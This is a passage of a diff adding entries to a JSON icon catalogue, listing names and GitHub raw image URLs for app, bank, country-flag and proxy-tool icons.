"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SubStore-01.png" + }, + { + "name": "SubStore-02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SubStore-02.png" + }, + { + "name": "sheep", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/sheep.png" + }, + { + "name": "Shortcuts", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Shortcuts.png" + }, + { + "name": "skylines", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/skylines.png" + }, + { + "name": "smzdm", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/smzdm.png" + }, + { + "name": "Spotify", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/spotify.png" + }, + { + "name": "Spotify", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/spotify.png" + }, + { + "name": "Spotify", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/spotify(green).png" + }, + { + "name": "Spotify", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Spotify.png" + }, + { + "name": "Spotify", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Spotify_05.png" + }, + { + "name": "switch", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/switch.png" + }, + { + "name": "SydneyOperaHouse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SydneyOperaHouse.png" + }, + { + "name": "Snapchat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Snapchat.png" + }, + { + "name": "Snapchat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Snapchat_02.png" + }, + { + "name": "Soul", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Soul.png" + }, + { + "name": "taipei101", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/taipei101.png" + }, + { + "name": "tajmahal", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tajmahal.png" + }, + { + "name": "telegram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/telegram.png" + }, + { + "name": "telegram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Telegram_02.png" + }, + { + "name": "tencent", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tencent.png" + }, + { + "name": "tencentcloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tencentcloud.png" + }, + { + "name": "TencentSport 腾讯体育", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/TencentSport.png" + }, + { + "name": "texon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/texon.png" + }, + { + "name": "texonhead", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/texonhead.png" + }, + { + "name": "texonslab", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/texonslab.png" + }, + { + "name": "TheFederalAssembly", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/TheFederalAssembly.png" + }, + { + "name": "TheGreatWall", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/TheGreatWall.png" + }, + { + "name": "TheWhiteHouse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/TheWhiteHouse.png" + }, + { + "name": "Thunder", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Thunder.png" + }, + { + "name": "tiktok", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tiktok.png" + }, + { + "name": "tinder", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tinder.png" + }, + { + "name": "torii", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/torii.png" + }, + { + "name": "twitch", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/twitch.png" + }, + { + "name": "twitter", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/twitter.png" + }, + { + "name": "twitter", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/twitter.png" + }, + { + "name": "twitter(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/twitter(1).png" + }, + { + "name": "Twitter", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Twitter.png" + }, + { + "name": "X", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/X.png" + }, + { + "name": "Udn", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Udn.png" + }, + { + "name": "UrlTest", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/UrlTest.png" + }, + { + "name": "v2tun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/v2tun.png" + }, + { + "name": "Viu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Viu.png" + }, + { + "name": "Walbum 表盘专辑", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Walbum.png" + }, + { + "name": "warp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/warp.png" + }, + { + "name": "warpcomet", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/warpcomet.png" + }, + { + "name": "wechat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/wechat.png" + }, + { + "name": "wechat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/wechat.png" + }, + { + "name": "WeiboTalk", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png" + }, + { + "name": "Weibo-01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-01.png" + }, + { + "name": "Weibo-02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-02.png" + }, + { + "name": "Weibo-03", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-03.png" + }, + { + "name": "Weibo-04", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-04.png" + }, + { + "name": "Weibo-05", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-05.png" + }, + { + "name": "Weibo-06", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-06.png" + }, + { + "name": "Weibo-07", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-07.png" + }, + { + "name": "Weibo-08", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-08.png" + }, + { + "name": "Weibo-09", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-09.png" + }, + { + "name": "Weibo-10", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-10.png" + }, + { + "name": "Weibo-11", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-11.png" + }, + { + "name": "Weibo-12", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-12.png" + }, + { + "name": "Weibo-13", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-13.png" + }, + { + "name": "Weibo-14", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-14.png" + }, + { + "name": "Weibo-15", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-15.png" + }, + { + "name": "Weibo-16", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-16.png" + }, + { + "name": "Weibo-17", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-17.png" + }, + { + "name": "Weibo-18", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-18.png" + }, + { + "name": "Weibo-19", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-19.png" + }, + { + "name": "Weibo-20", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-20.png" + }, + { + "name": "Weibo-21", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-21.png" + }, + { + "name": "Weibo-22", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-22.png" + }, + { + "name": "Weibo-23", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-23.png" + }, + { + "name": "Weibo-24", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-24.png" + }, + { + "name": "Weibo-25", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-25.png" + }, + { + "name": "Weibo-26", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-26.png" + }, + { + "name": "Weibo-27", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-27.png" + }, + { + "name": "Weibo-28", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-28.png" + }, + { + "name": "Weibo-29", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-29.png" + }, + { + "name": "Weibo-30", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-30.png" + }, + { + "name": "Weibo-31", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-31.png" + }, + { + "name": "Weibo-32", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-32.png" + }, + { + "name": "Weibo-33", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-33.png" + }, + { + "name": "Weibo-34", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-34.png" + }, + { + "name": "Weibo-35", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-35.png" + }, + { + "name": "Weibo-36", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-36.png" + }, + { + "name": "Weibo-37", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-37.png" + }, + { + "name": "Weibo-38", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-38.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-39.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-40.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-41.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-42.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-43.png" + }, + { + "name": "WhatsApp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WhatsApp.png" + }, + { + "name": "whatsinstash", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/whatsinstash.png" + }, + { + "name": "White", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/White.png" + }, + { + "name": "wireguard", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/wireguard.png" + }, + { + "name": "wangzherongyao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/wangzherongyao.png" + }, + { + "name": "xbox", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xbox.png" + }, + { + "name": "xianyu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xianyu.png" + }, + { + "name": "xianyu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xianyu_02.png" + }, + { + "name": "xiaomi 小米", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xiaomi.png" + }, + { + "name": "xiaomi 小米汽车", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xiaomiCar.png" + }, + { + "name": "ximalaya", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ximalaya.png" + }, + { + "name": "xxyx", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx.jpeg" + }, + { + "name": "xxyx_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx_01.jpeg" + }, + { + "name": "YouTubeMusic", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/YouTubeMusic.png" + }, + { + "name": "youtube", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/youtube.png" + }, + { + "name": "Zalo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Zalo.png" + }, + { + "name": "zhihu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/zhihu.png" + }, + { + "name": "ccbLife", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ccbLife.jpg" + }, + { + "name": "chery奇瑞", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/chery.png" + }, + { + "name": "tuhuyangche", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tuhuyangche.png" + }, + { + "name": "hot_search", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/hot_search.png" + }, + { + "name": "18+禁", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/18Plus.png" + }, + { + "name": "cookie", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/cookie.png" + }, + { + "name": "3K", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/3K.png" + }, + { + "name": "Baby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/Baby.png" + }, + { + "name": "CaoXiaoMan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/CaoXiaoMan.png" + }, + { + "name": "KeLi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/KeLi.png" + }, + { + "name": "keywos", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/keywos.png" + }, + { + "name": "LiWenQing", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/LiWenQing.png" + }, + { + "name": "NaiSi_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png" + }, + { + "name": "nanhe", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/nanhe.png" + }, + { + "name": "Walalala", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/Walalala.png" + }, + { + "name": "YiNanan77", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/YiNanan77.png" + }, + { + "name": "ZenMoFeiShi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/ZenMoFeiShi.png" + }, + { + "name": "zhangjun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/zhangjun.png" + }, + { + "name": "农业银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/ABC.png" + }, + { + "name": "交通银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/BC.png" + }, + { + "name": "建设银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CCB.png" + }, + { + "name": "光大银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CEB.png" + }, + { + "name": "广发银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CGDB.png" + }, + { + "name": "发现生活", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CGDB_1.png" + }, + { + "name": "兴业银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CIB.png" + }, + { + "name": "招商银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CMB.png" + }, + { + "name": "民生银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CMBC.png" + }, + { + "name": "中信银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/CNCB.png" + }, + { + "name": "华夏银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/HXB.png" + }, + { + "name": "工商银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/ICBC.png" + }, + { + "name": "买单吧", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/maidanba.png" + }, + { + "name": "平安银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/PAB.png" + }, + { + "name": "中国银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/PBC.png" + }, + { + "name": "邮储银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/PSBC.png" + }, + { + "name": "浦发银行", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/bank/SPDB.png" + }, + { + "name": "GetSomeCats", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/group/GetSomeCats.png" + }, + { + "name": "GetSomeFries", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/group/GetSomeFries.png" + }, + { + "name": "iBeta", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/group/iBeta.png" + }, + { + "name": "NG-Nigeria-尼日利亚", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/flag/NG_01.png" + }, + { + "name": "哆啦A梦", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/dlam.png" + }, + { + "name": "Quantumult_X", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X.png" + }, + { + "name": "Quantumult_X_1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_1.png" + }, + { + "name": "Quantumult_X_2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_2.png" + }, + { + "name": "Quantumult_X_3", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_3.png" + }, + { + "name": "Quantumult_X_4", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_4.png" + }, + { + "name": "Quantumult_X_5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_5.png" + }, + { + "name": "Quantumult_X_6", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_6.png" + }, + { + "name": "Quantumult_X_7", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Quantumult_X_7.png" + }, + { + "name": "Quantumult_X", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Quantumult_X.png" + }, + { + "name": "Quantumult_X-02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Quantumult_X-02.png" + }, + { + "name": "Loon1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_1.png" + }, + { + "name": "Loon2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_2.png" + }, + { + "name": "Loon3", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_3.png" + }, + { + "name": "Loon4", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_4.png" + }, + { + "name": "Loon5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_5.png" + }, + { + "name": "Loon6", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_6.png" + }, + { + "name": "Loon7", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_7.png" + }, + { + "name": "Loon8", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_8.png" + }, + { + "name": "Loon9", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_9.png" + }, + { + "name": "Loon10", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_10.png" + }, + { + "name": "Loon11", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Loon_11.png" + }, + { + "name": "stash1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/stash1.png" + }, + { + "name": "stash2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/stash2.png" + }, + { + "name": "boxjs", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/box.png" + }, + { + "name": "Google Voice", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/GV.PNG" + }, + { + "name": "xbox", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/xbox.png" + }, + { + "name": "weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/weibo.png" + }, + { + "name": "腾讯视频", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/txvideo.png" + }, + { + "name": "Microsoft", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/microsoft.png" + }, + { + "name": "iCloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/iCloud.png" + }, + { + "name": "Apple", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Apple.png" + }, + { + "name": "ChatGPT1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT1.png" + }, + { + "name": "ChatGPT2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT2.png" + }, + { + "name": "ChatGPT3", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT3.png" + }, + { + "name": "ChatGPT4", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT4.png" + }, + { + "name": "ChatGPT5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT5.png" + }, + { + "name": "ChatGPT6", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/ChatGPT6.png" + }, + { + "name": "AppStore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/AppStore.png" + }, + { + "name": "Safari", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/Safari.png" + }, + { + "name": "substore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/substore.png" + }, + { + "name": "baidu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/baidu.png" + }, + { + "name": "zhihu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/zhihu.png" + }, + { + "name": "悟空", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/wk.png" + }, + { + "name": "TikTok", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/TikTok.png" + }, + { + "name": "TikTok_1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/TikTok_1.png" + }, + { + "name": "TikTok_2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/TikTok_2.png" + }, + { + "name": "小红书", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/xiaohongshu.png" + }, + { + "name": "smbc", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/smbc.png" + }, + { + "name": "tiktok", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/tiktok.png" + }, + { + "name": "tiktok(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/tiktok(1).png" + }, + { + "name": "tiktok(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/tiktok((2).png" + }, + { + "name": "chatgpt", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ChatGPT-green.png" + }, + { + "name": "ChatGPT", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ChatGPT.png" + }, + { + "name": "onedrive", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/OneDrive.png" + }, + { + "name": "shutiao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/shutiao.png" + }, + { + "name": "Youtube", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Youtube.png" + }, + { + "name": "youtube(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/youtube(1).png" + }, + { + "name": "youtube(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/youtube(2).png" + }, + { + "name": "youtube(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/youtube(3).png" + }, + { + "name": "microsoft", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/microsoft.png" + }, + { + "name": "microsoft(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/microsoft(1).png" + }, + { + "name": "microsoft(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/microsoft(2).png" + }, + { + "name": "netflix", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/netflix.png" + }, + { + "name": "netflix(red)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/netflix(red).png" + }, + { + "name": "netflix(old)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/netflix(old).png" + }, + { + "name": "disney(blue)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/disney(blue).png" + }, + { + "name": "disney(black)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/disney(black).png" + }, + { + "name": "Hongkong", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Hongkong.png" + }, + { + "name": "Hongkong(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Hongkong(1).png" + }, + { + "name": "taiwan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/taiwan.png" + }, + { + "name": "taiwan(1).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/taiwan(1).png" + }, + { + "name": "taiwan(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/taiwan(2).png" + }, + { + "name": "Korea", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Korea.png" + }, + { + "name": "singapore(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/singapore(2).png" + }, + { + "name": "singapore(1).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/singapore(1).png" + }, + { + "name": "Japan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Japan.png" + }, + { + "name": "zl-icon-jp-flag", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/zl-icon-jp-flag.png" + }, + { + "name": "US", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/US.png" + }, + { + "name": "US(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/US(1).png" + }, + { + "name": "telegram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/telegram.png" + }, + { + "name": "telegram(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/telegram(1).png" + }, + { + "name": "telegram(blue1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/telegram(blue1).png" + }, + { + "name": "HBO", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/HBO.png" + }, + { + "name": "bilibili(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bilibili(1).png" + }, + { + "name": "bilibili(2)", + "url": 